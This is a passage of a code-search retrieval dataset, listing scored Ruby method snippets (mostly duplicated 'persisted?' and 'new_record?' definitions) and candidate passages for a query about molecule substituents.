"docid": "8df7987fd0c5c9021b81e86722d1bf52",
"score": "0.74785477",
"text": "def persisted?\n !new?\n end",
"title": ""
},
{
"docid": "8df7987fd0c5c9021b81e86722d1bf52",
"score": "0.74785477",
"text": "def persisted?\n !new?\n end",
"title": ""
},
{
"docid": "8df7987fd0c5c9021b81e86722d1bf52",
"score": "0.74785477",
"text": "def persisted?\n !new?\n end",
"title": ""
},
{
"docid": "6d59d014cabf3859c699419783231b15",
"score": "0.7140842",
"text": "def persisted?; end",
"title": ""
},
{
"docid": "6d59d014cabf3859c699419783231b15",
"score": "0.7140842",
"text": "def persisted?; end",
"title": ""
},
{
"docid": "e5c713425011e30122c646a08b5b803a",
"score": "0.71267563",
"text": "def persisted?; false; end",
"title": ""
},
{
"docid": "1f7e9dbb6313a42bcbab915cbbc15d47",
"score": "0.6973221",
"text": "def to_persistent!(existing = nil)\n if existing\n self.id = existing.id\n self.created_at = existing.created_at if respond_to?(:created_at)\n self.updated_at = existing.updated_at if respond_to?(:updated_at)\n\n clear_changes_information\n else\n restore_before_to_new_record_values\n\n clear_attribute_change(:created_at) if respond_to?(:created_at)\n clear_attribute_change(:updated_at) if respond_to?(:updated_at)\n end\n @new_record = false\n true\n end",
"title": ""
},
{
"docid": "9118644c5d700cf7518356e051810ca0",
"score": "0.69191265",
"text": "def persisted? ; false ; end",
"title": ""
},
{
"docid": "88b278f7e174780fca051de40511c0f4",
"score": "0.69138736",
"text": "def persisted?\n !new_record?\n end",
"title": ""
},
{
"docid": "88b278f7e174780fca051de40511c0f4",
"score": "0.69138736",
"text": "def persisted?\n !new_record?\n end",
"title": ""
},
{
"docid": "f5f0decdf534b2ef7d0d864a4b4e3ffe",
"score": "0.69117385",
"text": "def persisted?\n !!@original_attributes\n end",
"title": ""
},
{
"docid": "24c2dbd0e57e68b41a2f082e953a4e78",
"score": "0.6869892",
"text": "def persisted?\n !new_record?\n end",
"title": ""
},
{
"docid": "bc610710985f7b9c4eb4a1a02487025b",
"score": "0.6857932",
"text": "def persisted?\n !new_record? && !changed?\n end",
"title": ""
},
{
"docid": "cae0d2bc203f43fb98436c7db2736468",
"score": "0.68565816",
"text": "def modified?\n new?\n end",
"title": ""
},
{
"docid": "71433da5d36d569ae02ea6e74b6de9e2",
"score": "0.68546116",
"text": "def persisted? ; false ; end",
"title": ""
},
{
"docid": "51e2e56c9f9acbd3000b11df6d1a7c86",
"score": "0.68532455",
"text": "def new_record?\n !persisted?\n end",
"title": ""
},
{
"docid": "51e2e56c9f9acbd3000b11df6d1a7c86",
"score": "0.68532455",
"text": "def new_record?\n !persisted?\n end",
"title": ""
},
{
"docid": "42539341b2207ee2fa98eb69fd10ad53",
"score": "0.6830173",
"text": "def persisted?\n !new_record?\n end",
"title": ""
},
{
"docid": "b6efca3814c39092bae3b19de533638d",
"score": "0.6822693",
"text": "def new_record?\n !persisted?\n end",
"title": ""
},
{
"docid": "6e64a68279fa9b3fdde9ddd7b3b159f2",
"score": "0.67878586",
"text": "def new?\n defined?(@new) ? @new : (@new = false)\n end",
"title": ""
},
{
"docid": "6e64a68279fa9b3fdde9ddd7b3b159f2",
"score": "0.67878586",
"text": "def new?\n defined?(@new) ? @new : (@new = false)\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "92c8a1af99ba6f3cd49dd37539652c56",
"score": "0.6763844",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "7de7b6fbc11a5d0ab8c97011b213c28b",
"score": "0.6751883",
"text": "def new_document?; not saved?; end",
"title": ""
},
{
"docid": "bf42ea3dff4355893368948715985781",
"score": "0.6749061",
"text": "def persisted?\n paranoid? ? !new_record? : super\n end",
"title": ""
},
{
"docid": "bf42ea3dff4355893368948715985781",
"score": "0.6749061",
"text": "def persisted?\n paranoid? ? !new_record? : super\n end",
"title": ""
},
{
"docid": "2e3c031f58c00e7ddc2d54483a835571",
"score": "0.67473423",
"text": "def new_record?\n !self.persisted?\n end",
"title": ""
},
{
"docid": "84a2a603b1487e6643357caac8dc88b2",
"score": "0.6738363",
"text": "def new_record?\n !rev\n end",
"title": ""
},
{
"docid": "8cc7797619ef76e7217fde0a3a251117",
"score": "0.6732167",
"text": "def save\n new? ? create : update\n end",
"title": ""
},
{
"docid": "8cc7797619ef76e7217fde0a3a251117",
"score": "0.6732167",
"text": "def save\n new? ? create : update\n end",
"title": ""
},
{
"docid": "8cc7797619ef76e7217fde0a3a251117",
"score": "0.6732167",
"text": "def save\n new? ? create : update\n end",
"title": ""
},
{
"docid": "d6d8be56671cc36562438f5d161757ef",
"score": "0.6706155",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "9bc82e85ebba3d14ebc95d9f35a9de31",
"score": "0.67025983",
"text": "def persisted? \n false\n end",
"title": ""
},
{
"docid": "9de151005ac7f9956cec52d3461a47dc",
"score": "0.670126",
"text": "def modified_existing?\n false\n end",
"title": ""
},
{
"docid": "3f4aa0d060d7e4ec4893de89a6b631fc",
"score": "0.6670265",
"text": "def to_new_record!\n store_before_to_new_record_values\n reset_persistence_values\n @new_record = true\n end",
"title": ""
},
{
"docid": "cdf77c0080365a5e54ea3054e00cf867",
"score": "0.6665933",
"text": "def new_record?\n !_persisted_obj\n end",
"title": ""
},
{
"docid": "5a4d994a1f40d0c0c649f4a81c5af7d0",
"score": "0.6662711",
"text": "def persisted?\n !new? && !destroyed?\n end",
"title": ""
},
{
"docid": "1cf9c25d1af00777fba78a32feb8609e",
"score": "0.6654972",
"text": "def persisted?\r\n false\r\n end",
"title": ""
},
{
"docid": "1cf9c25d1af00777fba78a32feb8609e",
"score": "0.6654972",
"text": "def persisted?\r\n false\r\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "699745c6eaf74cd0e5af2c31c9efbaa1",
"score": "0.66383606",
"text": "def persisted?\n false\n end",
"title": ""
},
{
"docid": "dff26ad70129aec4276460a99efacfb5",
"score": "0.6612409",
"text": "def save\r\n new? ? create : update\r\n end",
"title": ""
},
{
"docid": "934a05d9a706074d697397e6b83fb910",
"score": "0.65693355",
"text": "def persisted?\n\t\tfalse\n\tend",
"title": ""
},
{
"docid": "b15915858f19893e5cb85a5edf2b686c",
"score": "0.65606993",
"text": "def changed?; not pristine?; end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "30591451a2234d677a57f0c6cb16afe9",
"score": "0.65579534",
"text": "def persisted?\n true\n end",
"title": ""
},
{
"docid": "e6d28d09d1cb9743dc3cb6d2cc34822e",
"score": "0.6512107",
"text": "def save\n new? ? insert : update\n end",
"title": ""
},
{
"docid": "f64ef54c264e52af0628215c685cb720",
"score": "0.65114665",
"text": "def persisted?\n\t\t\t\tfalse\n\t\t\tend",
"title": ""
},
{
"docid": "b25f04d972255ae8e2ac4b08942ae219",
"score": "0.6501163",
"text": "def persisted?\n !(@new_record || @destroyed)\n end",
"title": ""
},
{
"docid": "49be9690f365ec856324c3255cc7ebe9",
"score": "0.64921707",
"text": "def persisted?\n return false\n end",
"title": ""
},
{
"docid": "519bd323fefedbd09fc64dfc7e66e15f",
"score": "0.648369",
"text": "def persisted? # :nodoc:\n false\n end",
"title": ""
},
{
"docid": "45bedbe5e267d5f8d1eca0b3d35e1c47",
"score": "0.6461741",
"text": "def new_record?() true end",
"title": ""
},
{
"docid": "6558529dfee48329f43fd3fae4a86886",
"score": "0.64605224",
"text": "def new?\n !!@new\n end",
"title": ""
}
] |
b72cded5b6ea270bdaaff3eb506680c3
|
Returns array of molecule objects referring to substituents
|
[
{
"docid": "e5104b4944c063c69bb2de1eb1175d40",
"score": "0.7340022",
"text": "def getSubstituents(atom, parents)\n retAry = []\n @atoms[atom].each do | bond |\n if !parents.include? bond then\n retAry.push(copyMolecule(bond, atom))\n end\n end\n retAry\n end",
"title": ""
}
] |
[
{
"docid": "118bd807db70ff34a5253a428e101288",
"score": "0.5570473",
"text": "def species\n species = Array.new\n\n mobs.each do |mob|\n species << mob.specie\n end\n\n return species.uniq\n end",
"title": ""
},
{
"docid": "6f125e09114daedf82cfa484158d9e89",
"score": "0.55655366",
"text": "def residue_composition\n \tdescendants = [self]\n \tkids = children.collect { |child| child[:residue] }\n \tkids.each { |child|\n \t\tdescendants += child.residue_composition\n \t}\n \treturn descendants\n end",
"title": ""
},
{
"docid": "ce2e7567bdc7be6f40ce31378c509380",
"score": "0.5501993",
"text": "def recipe_instances\n recipe_ingredients.map { |ri| ri.recipe }\n end",
"title": ""
},
{
"docid": "6a099a25e09b2ff4508a4e580f393fbc",
"score": "0.54958445",
"text": "def animal_species\n animal_arr = self.animals.map do |animal|\n animal.species\n end.uniq\n end",
"title": ""
},
{
"docid": "2d0eaed095248d89af5d940b813616ef",
"score": "0.5437632",
"text": "def atoms\n each_atom.map.to_a\n end",
"title": ""
},
{
"docid": "2d0eaed095248d89af5d940b813616ef",
"score": "0.5437632",
"text": "def atoms\n each_atom.map.to_a\n end",
"title": ""
},
{
"docid": "3eaad5e7e68582c1b80a5fd7105d92ba",
"score": "0.53400433",
"text": "def manipulable_entities\r\n result = []\r\n result.concat( patches )\r\n result.concat( edges )\r\n result.concat( vertices )\r\n result.concat( handles )\r\n result.concat( manual_interior_points )\r\n result\r\n end",
"title": ""
},
{
"docid": "991e11a38a451c344b2241f8e05907d9",
"score": "0.5332773",
"text": "def entities\r\n result = []\r\n result.concat( patches )\r\n result.concat( edges )\r\n result.concat( control_points )\r\n result\r\n end",
"title": ""
},
{
"docid": "585ac53bac14587c9e103ed9788e63c8",
"score": "0.5311677",
"text": "def acts_of_synonymy_for_ref\n syn = self.proj.sensus.by_ontology_class(self.ontology_class_id).by_ref(self.ref_id).ordered_by_label.collect{|s| s.label}.uniq\n syns = []\n syn.each_with_index do |s1,i|\n syn[(i+1)..(syn.size)].each do |s2|\n syns << [s1, s2]\n end\n end\n syns\n end",
"title": ""
},
{
"docid": "bbe6820d3c5ff4990d50c0cff8f83945",
"score": "0.5250697",
"text": "def pbAllRegionalSpecies(region_dex)\n return nil if region_dex < 0\n dex_list = pbLoadRegionalDexes[region_dex]\n return nil if !dex_list || dex_list.length == 0\n return dex_list.clone\nend",
"title": ""
},
{
"docid": "e7143a8eaa5a4436a447407f9235f277",
"score": "0.5245794",
"text": "def sequence_to_array_objects\n @sequence = Array.new if @sequence.nil?\n\n array = []\n if [email protected]?\n @sequence.each { |element|\n downcaseElement = element.downcase\n if instance_attribute_defined?(downcaseElement)\n object = get(downcaseElement)\n if object.kind_of?(Array)\n array.concat object\n else\n array << object\n end\n end\n }\n else\n if [email protected]?\n @objects.each { |o|\n array << o\n }\n end\n end\n return array;\n end",
"title": ""
},
{
"docid": "af3ba02a0bdec15dc66d0c255d0c1d54",
"score": "0.5241304",
"text": "def ingredients\n a = Array.new\n self.steps.each do |step|\n step.ingredients.each do |ing|\n a << ing\n end\n end\n a\n end",
"title": ""
},
{
"docid": "ae4f15b7905d93e355d27261bcf1fef9",
"score": "0.5212043",
"text": "def acts_of_homonymy_for_ref\n syn = self.proj.sensus.by_label(self.label_id).by_ref(self.ref_id).ordered_by_label.collect{|s| s.ontology_class}.uniq\n syns = []\n syn.each_with_index do |s1,i|\n syn[(i+1)..(syn.size)].each do |s2|\n syns << [s1, s2]\n end\n end\n syns\n end",
"title": ""
},
{
"docid": "cf3565e368921098cc809b69121ad9cc",
"score": "0.51745105",
"text": "def unique_transpositions\n @words.map {|word| PitchClassSet.new(word)}\n end",
"title": ""
},
{
"docid": "a244fb717ccd4c27a7bc68bf8e9dd107",
"score": "0.51464343",
"text": "def find_in_setups\n positions = []\n self.category.setup.venture.setups.each do |setup|\n positions << setup.positions.where(name: self.name).first\n end\n positions.compact\n end",
"title": ""
},
{
"docid": "8515e3f4effd484ff74ced4b0963f31f",
"score": "0.5127351",
"text": "def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end",
"title": ""
},
{
"docid": "5debe91077007d4b84b5de1805d3cf7b",
"score": "0.5097465",
"text": "def components\n @contents.inject([]) do |m,c|\n if c.is_a?( Symbol )\n m += space.role( c )\n else\n m << c\n end\n m\n end\n end",
"title": ""
},
{
"docid": "7b5e1b29abf489d62f90d1489cad6364",
"score": "0.5068828",
"text": "def plates\n @plates ||= plate_wrappers.collect(&:plate)\n end",
"title": ""
},
{
"docid": "8842f175a9cc050bb67734e07e317a3a",
"score": "0.50570613",
"text": "def all_candidate_set_for_syntax_tree(tree)\n filters=@genus_filters\n\n names = @simplifier_factory.new(tree).simplify.to_a\n candidate_set = @candidate_set_factory.new\n head_node = tree.find_head_noun\n if head_node\n head = head_node.content\n names.each do |name|\n simplified_names = singularize_name_nouns(name, head)\n simplified_names.each do |simplified_name|\n candidates = candidates_for_name(simplified_name, filters)\n unless candidates.empty?\n candidate_set.add(name,candidates)\n # break\n end\n end\n end\n end\n candidate_set\n end",
"title": ""
},
{
"docid": "01821de099d2fd38b740592f31113cf9",
"score": "0.5040917",
"text": "def find_objects(*obj_strs)\n return [] if obj_strs.blank?\n return @applications.dup if obj_strs.size == 1 && (obj_strs[0].strip == 'all' || obj_strs[0].strip == '*')\n\n res = []\n obj_strs.map{|c| c.split(\",\")}.flatten.each do |mask|\n res += find_objects_by_mask(mask)\n end\n\n if res.size > 1\n # remove inherited targets\n\n final = []\n res.each do |obj|\n sub_object = res.any?{|a| a.sub_object?(obj) }\n final << obj unless sub_object\n end\n\n res = final\n end\n\n res.present? ? Eye::Utils::AliveArray.new(res) : []\n end",
"title": ""
},
{
"docid": "137bd91b9f54692e6a71e2594e6f9974",
"score": "0.50181216",
"text": "def ingredients\n recipeingredient.map {|ri| ri.ingredient}\n end",
"title": ""
},
{
"docid": "b4484ce20ba0bdf23a69b143e77e1c3a",
"score": "0.5015453",
"text": "def all\n (deletions + transpositions + replacements + insertions).uniq\n end",
"title": ""
},
{
"docid": "298d767d4367eb165fd01f61abcdaa28",
"score": "0.50046384",
"text": "def animal_species\n animals.map { |animal| animal.species}.uniq\n end",
"title": ""
},
{
"docid": "dab064122f273e8475bb1893bc1105d8",
"score": "0.5004188",
"text": "def constituent_uris\n Array.wrap(constituents).uniq.delete_if(&:empty?)\n end",
"title": ""
},
{
"docid": "f3feb0b23275b465ee38df248d1494db",
"score": "0.49928966",
"text": "def reproduction(selected_to_breed)\n offsprings = []\n 0.upto(selected_to_breed.length/2-1) do |i|\n offsprings << Chromosome.reproduce(selected_to_breed[2*i], selected_to_breed[2*i+1])\n end\n offsprings.flatten! #reproduce is returning an array with 2 children\n @population.each do |individual|\n Chromosome.mutate(individual)\n end\n return offsprings\n end",
"title": ""
},
{
"docid": "997327f68dfe28ff0c40ec96905cf646",
"score": "0.49910015",
"text": "def all_partials(str = \"\")\n list = [] \n @down.walk(str) { |str| list << str } unless @down.nil?\n list\n end",
"title": ""
},
{
"docid": "2c0523468582f630b7760dd8adf718b1",
"score": "0.49803984",
"text": "def parents_by_nomenclature(otu)\n above = [ ]\n if otu.taxon_name_id\n TaxonName.ancestors_of(otu.taxon_name)\n .select('taxon_names.*, taxon_name_hierarchies.generations')\n .that_is_valid.joins(:otus)\n .distinct\n .reorder('taxon_name_hierarchies.generations DESC, taxon_names.cached_valid_taxon_name_id').each do |t|\n above.push [t.cached, t.otus.to_a] # TODO: to_a vs. pluck\n end\n end\n above\n end",
"title": ""
},
{
"docid": "d3ec91a8872a251d3721b3bafec2b80d",
"score": "0.49600184",
"text": "def all_components()\n comps = self.components.map do |c|\n if c.is_a?(Eddy::Models::Loop::Base)\n c.all_contents()\n elsif c.is_a?(Eddy::Models::Segment)\n c\n else\n raise Eddy::Errors::RenderError\n end\n end\n return comps.flatten\n end",
"title": ""
},
{
"docid": "0d33b3a5eb317adf2c045ae83ea222a9",
"score": "0.49585828",
"text": "def expanded_known\n raw_known.map do |raw|\n expand_variants(raw)\n end.flatten.uniq.sort\n end",
"title": ""
},
{
"docid": "88db568a5665df45baee7d8ac8c040a9",
"score": "0.49579304",
"text": "def objects\n expand_sources(@sources).map { |x| x.gsub(/\\.c$/, '.o') }\n end",
"title": ""
},
{
"docid": "464c90973b9fca6002682e085e7001ea",
"score": "0.4957828",
"text": "def split_consonant_cluster\n coda = consonant_queue.clone\n onset = []\n while POSSIBLE_ONSETS.include?([coda.last.try(:symbol)] + onset.map {|phoneme| phoneme.symbol}) do\n onset.unshift coda.pop\n end\n [coda, onset]\n end",
"title": ""
},
{
"docid": "c8311f86c58d22fe26629a20ccce2b8d",
"score": "0.4957683",
"text": "def index\n @molecule_synonyms = MoleculeSynonym.all\n end",
"title": ""
},
{
"docid": "3e15a22a0544a0d965e047e7de8736b9",
"score": "0.49483624",
"text": "def ingredients\n desserts.map do |dessert|\n dessert.ingredients\n end.flatten\n end",
"title": ""
},
{
"docid": "676670b7b5af5f231e703d2278399062",
"score": "0.49214762",
"text": "def find_internal_adducts(mol = self)\n mol.adducts ||= []\n splits = mol.ob.separate.map(&:upcast).flatten.each {|m| mol.adducts << m if ADDUCTS.values.include?(m) }\n mol.adducts = mol.adducts.uniq(&:csmiles)\n # TODO add a filter to remove the captured adducts from the molecule\n #??? mol = mol.ob.separate.map(&:upcast).delete_if {|m| ADDUCTS.values.include?(m) }\n mol.adducts = mol.adducts.map {|m| m.class == Rubabel::Molecule ? m : from_string(m) }\n end",
"title": ""
},
{
"docid": "cfb9573e9a13898e955704521f903f5c",
"score": "0.49203837",
"text": "def get_cartridge_array\n cs = Array.new\n\n cartridges.each do |c|\n cs << c.name\n end\n\n cs\n end",
"title": ""
},
{
"docid": "d80e94d442ee9e24f5b4925938071615",
"score": "0.49190176",
"text": "def reconstructions\n @reconstructions ||= Scraper.instance.get_all(Reconstruction, @path, [\n [:protoform, 'span', lambda {|x| Nokogiri::HTML(x).text}],\n [:path, 'a[4]/@href'],\n [:description, 'self::li', lambda {|x|\n Nokogiri::HTML(x)\n .text\n .encode('UTF-8', 'UTF-8', :invalid => :replace)\n .match(/'(.*)'/)[1]\n }],\n [:semantic_field, nil, lambda {|x| @semantic_field}]\n ], \"ul\").select {|r| r.path != ''}\n end",
"title": ""
},
{
"docid": "3328a8d3eb3e4ab4c44957e2740e90ff",
"score": "0.490476",
"text": "def animal_species()\n self.animals().map() { | animal | animal.species() }.uniq\n end",
"title": ""
},
{
"docid": "68c8e60e58f91abd647e7efd4437343b",
"score": "0.48975578",
"text": "def matching_substances_to(ingredient)\n matching_substances = []\n # does ingredient match any substance in this allergen category \n matching_substances = self.get_substances.select {|substance| \n (ingredient.upcase.include?(substance.upcase) || substance.upcase.include?(ingredient.upcase))\n } \n return matching_substances\n end",
"title": ""
},
{
"docid": "fb98f120faace54b1ae306ac206eeffc",
"score": "0.48940352",
"text": "def get_variants\n return [] if is_pdc?\n get_variants_by_package.values.flatten.uniq\n end",
"title": ""
},
{
"docid": "b0cbb3d19a85ef8721511d3173fe48e7",
"score": "0.4893313",
"text": "def recipes\n return self.selected_recipes.map do |selected_recipe|\n selected_recipe.recipe\n end\n # recipes = []\n # self.selected_recipes.each do |selected_recipe|\n # recipes << selected_recipe.recipe\n # end\n # return recipes\n end",
"title": ""
},
{
"docid": "62c949970eef79d4c6a7718ef9c563e6",
"score": "0.4882216",
"text": "def works_evidenced_composers\n all_composers = []\n works.map{|w| all_composers << w.composers}\n all_composers.flatten!\nend",
"title": ""
},
{
"docid": "237571a1827c922d41396c70b62193ee",
"score": "0.48800865",
"text": "def ingredient_recipes\n self.doses.map { |d| d.recipe }.uniq\n end",
"title": ""
},
{
"docid": "2d9b43aaaa1f71969e82a292a2159cfd",
"score": "0.48779956",
"text": "def recipes\n # @recipe.all.select {|recipe| recipe.all = self}\n recipecards.map {|recipecard| recipecard.recipe}\n end",
"title": ""
},
{
"docid": "d9f21f8586e492e872cbfc34bc777796",
"score": "0.48765305",
"text": "def data_objects\n self.locations.map{|loc| loc.data_objects}.flatten.uniq.compact\n end",
"title": ""
},
{
"docid": "ace038eae90fad628f70c6a65455e83d",
"score": "0.4875802",
"text": "def genres #How to shorten? \n array = []\n songs.each do |song_instance|\n array << song_instance.genre \n end\n array.uniq\n end",
"title": ""
},
{
"docid": "335da3c135c285ac2c2655bf911ab664",
"score": "0.48712245",
"text": "def scm_decompose\n [@scm_car, @scm_cdr]\n end",
"title": ""
},
{
"docid": "99b878e909e937413b9c4011a9257e4a",
"score": "0.48694757",
"text": "def extract_translations(translation)\n @stanzas.flat_map {|s| s.stanza_translations.select { |st| st.translation_id == translation.id } }\n end",
"title": ""
},
{
"docid": "f99ae93bad55a08856302a1dd15ca07d",
"score": "0.48694482",
"text": "def get_objects(target_class, table_name, inclusive = false)\n answer = Array.new\n\n coord_system_ids_with_features = nil\n # Get all the coord_systems with this type of features on them\n if Collection.check\n coord_system_ids_with_features = Collection.find_all_coord_by_table_name(table_name,self.seq_region.coord_system.species_id).collect{|mc| mc.coord_system_id}\n else\n coord_system_ids_with_features = MetaCoord.find_all_by_table_name(table_name).collect{|mc| mc.coord_system_id}\n end \n # Get the features of the original slice\n if coord_system_ids_with_features.include?(self.seq_region.coord_system_id)\n sql = ''\n if inclusive\n sql = <<SQL\nSELECT * FROM #{table_name}\nWHERE seq_region_id = #{self.seq_region.id.to_s}\nAND (( seq_region_start BETWEEN #{self.start.to_s} AND #{self.stop.to_s} )\nOR ( seq_region_end BETWEEN #{self.start.to_s} AND #{self.stop.to_s} )\nOR ( seq_region_start <= #{self.start.to_s} AND seq_region_end >= #{self.stop.to_s} )\n )\nSQL\n else\n sql = <<SQL\nSELECT * FROM #{table_name}\nWHERE seq_region_id = #{self.seq_region.id.to_s}\nAND seq_region_start >= #{self.start.to_s}\nAND seq_region_end <= #{self.stop.to_s} \nSQL\n end\n answer.push(target_class.find_by_sql(sql))\n coord_system_ids_with_features.delete(self.seq_region.coord_system_id)\n end\n\n # Transform the original slice to other coord systems and get those\n # features as well. At the moment, only 'direct' projections can be made.\n # Later, I'm hoping to add functionality for following a path from one\n # coord_system to another if they're not directly linked in the assembly\n # table.\n coord_system_ids_with_features.each do |target_coord_system_id|\n target_slices = self.project(CoordSystem.find(target_coord_system_id).name)\n target_slices.each do |slice|\n if slice.class == Slice\n if inclusive\n sql = <<SQL\nSELECT * FROM #{table_name}\nWHERE seq_region_id = #{slice.seq_region.id.to_s}\nAND (( seq_region_start BETWEEN #{slice.start.to_s} AND #{slice.stop.to_s} )\nOR ( seq_region_end BETWEEN #{slice.start.to_s} AND #{slice.stop.to_s} )\nOR ( seq_region_start <= #{slice.start.to_s} AND seq_region_end >= #{slice.stop.to_s} )\n )\nSQL\n else\n sql = <<SQL\nSELECT * FROM #{table_name}\nWHERE seq_region_id = #{slice.seq_region.id.to_s}\nAND seq_region_start >= #{slice.start.to_s}\nAND seq_region_end <= #{slice.stop.to_s} \nSQL\n end \n answer.push(target_class.find_by_sql(sql))\n end\n end\n end\n\n answer.flatten!\n answer.uniq!\n\n return answer\n end",
"title": ""
},
{
"docid": "8bdba9924b72c8329d79d5df42d8e125",
"score": "0.48613706",
"text": "def animals\n Animal.all.select do |animal|\n animal.origin == self\n end \n end",
"title": ""
},
{
"docid": "36230803395710230bf65cd315733d30",
"score": "0.48580298",
"text": "def subtrees!\n trees = Array.new\n subtrees {|tree| trees.push(tree)}\n return trees\n end",
"title": ""
},
{
"docid": "c57121bb98427dbd7f9743069eca8611",
"score": "0.48579314",
